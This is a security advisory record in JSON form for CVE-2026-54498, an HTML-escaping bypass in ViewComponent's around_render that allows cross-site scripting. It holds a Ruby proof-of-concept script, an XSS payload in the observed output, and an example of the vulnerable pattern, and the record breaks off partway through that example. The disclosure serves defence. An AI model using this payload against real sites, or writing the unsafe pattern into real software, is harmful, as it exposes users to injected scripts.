{"schema_version":"1.9.0","id":"GHSA-97jw-64cj-jc58","published":"2026-07-15T22:51:04Z","modified":"2026-07-15T23:11:43.016236Z","aliases":["CVE-2026-54498"],"summary":"ViewComponent: around_render HTML-Safety Bypass","details":"## Summary\n\n`ViewComponent::Base#around_render` can return HTML-unsafe strings that bypass the escaping behavior applied to normal `#call` return values. This creates an XSS risk when downstream applications use `around_render` to wrap, replace, instrument, or conditionally return content that includes user-controlled data.\n\nThe issue is especially dangerous in collection rendering because `ViewComponent::Collection#render_in` joins the per-item results and marks the entire output as `html_safe`, converting raw unsafe output into a trusted `ActiveSupport::SafeBuffer`.\n\n\n## Affected Code\n\nValidated against:\n\n- Repository commit: `eea79445`\n- Ruby: `3.4.9`\n\nRelevant locations:\n\n- `lib/view_component/base.rb`\n - `render_in`\n - `around_render`\n - `__vc_maybe_escape_html`\n- `lib/view_component/template.rb`\n - `InlineCall#safe_method_name_call`\n- `lib/view_component/collection.rb`\n - `Collection#render_in`\n\nKey code paths:\n\n```ruby\n# lib/view_component/base.rb\naround_render do\n render_template_for(@__vc_requested_details).to_s\nend\n```\n\n```ruby\n# lib/view_component/template.rb\nproc do\n __vc_maybe_escape_html(send(m)) do\n Kernel.warn(...)\n end\nend\n```\n\n```ruby\n# lib/view_component/collection.rb\ncomponents.map do |component|\n component.render_in(view_context, &block)\nend.join(rendered_spacer(view_context)).html_safe\n```\n\n## Root Cause\n\nNormal inline `#call` output is passed through `__vc_maybe_escape_html`, which escapes HTML-unsafe strings. However, when `around_render` itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.\n\nThis creates two different output-safety behaviors:\n\n- `#call` returning unsafe string: escaped\n- `#around_render` returning unsafe string: raw\n\nCollection rendering then amplifies the issue by calling `.html_safe` on the joined result.\n\n## Proof of Concept\n\nRun from the repository root:\n\n```ruby\n$LOAD_PATH.unshift File.expand_path(\"lib\", Dir.pwd)\nrequire \"action_controller/railtie\"\nrequire \"rack/mock\"\nrequire \"view_component/base\"\n\nclass PocController < ActionController::Base; end\n\ndef vc\n c = PocController.new\n c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(\"/poc\")))\n c.set_response!(ActionDispatch::Response.new)\n c.view_context\nend\n\nPAYLOAD = \"\"\n\nclass UnsafeCallComponent < ViewComponent::Base\n def initialize(payload:) = @payload = payload\n def call = @payload\nend\n\nclass UnsafeAroundComponent < ViewComponent::Base\n def initialize(payload:) = @payload = payload\n def call = \"SAFE\"\n def around_render = @payload\nend\n\nclass UnsafeAroundCollectionComponent < ViewComponent::Base\n with_collection_parameter :payload\n def initialize(payload:) = @payload = payload\n def call = \"SAFE\"\n def around_render = @payload\nend\n\nview_context = vc\n\nnormal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)\naround = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)\ncollection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)\n\nputs \"normal_call=#{normal}\"\nputs \"normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}\"\nputs \"around_render=#{around}\"\nputs \"around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}\"\nputs \"collection=#{collection}\"\nputs \"collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}\"\n\nc = PocController.new\nc.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for(\"/poc\")))\nc.set_response!(ActionDispatch::Response.new)\nout = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD))\nputs \"controller_render_to_string=#{out}\"\nputs \"controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}\"\n```\n\nObserved output:\n\n```text\nnormal_call=<img src=x onerror=alert(1)>\nnormal_call_raw=false html_safe=true\naround_render=
\naround_render_raw=true html_safe=false\ncollection=
\ncollection_raw=true html_safe=true\ncontroller_render_to_string=
\ncontroller_raw=true html_safe=false\n```\n\nThe control case confirms that normal `#call` output is escaped. The `around_render` cases confirm that the same payload is emitted raw.\n\n## Exploit Scenario\n\nA downstream application defines a component that uses `around_render` for tracing, layout wrapping, feature-flag fallback, error fallback, or instrumentation. If the hook returns a string containing request data, model attributes, CMS content, markdown output, or other attacker-controlled values, the value can be rendered as raw HTML.\n\nExample vulnerable pattern:\n\n```ruby\nclass BannerComponent < ViewComponent::Base\n def initialize(message:)\n @message = message\n end\n\n def call\n \"fallback\"\n end\n\n def around_render\n \"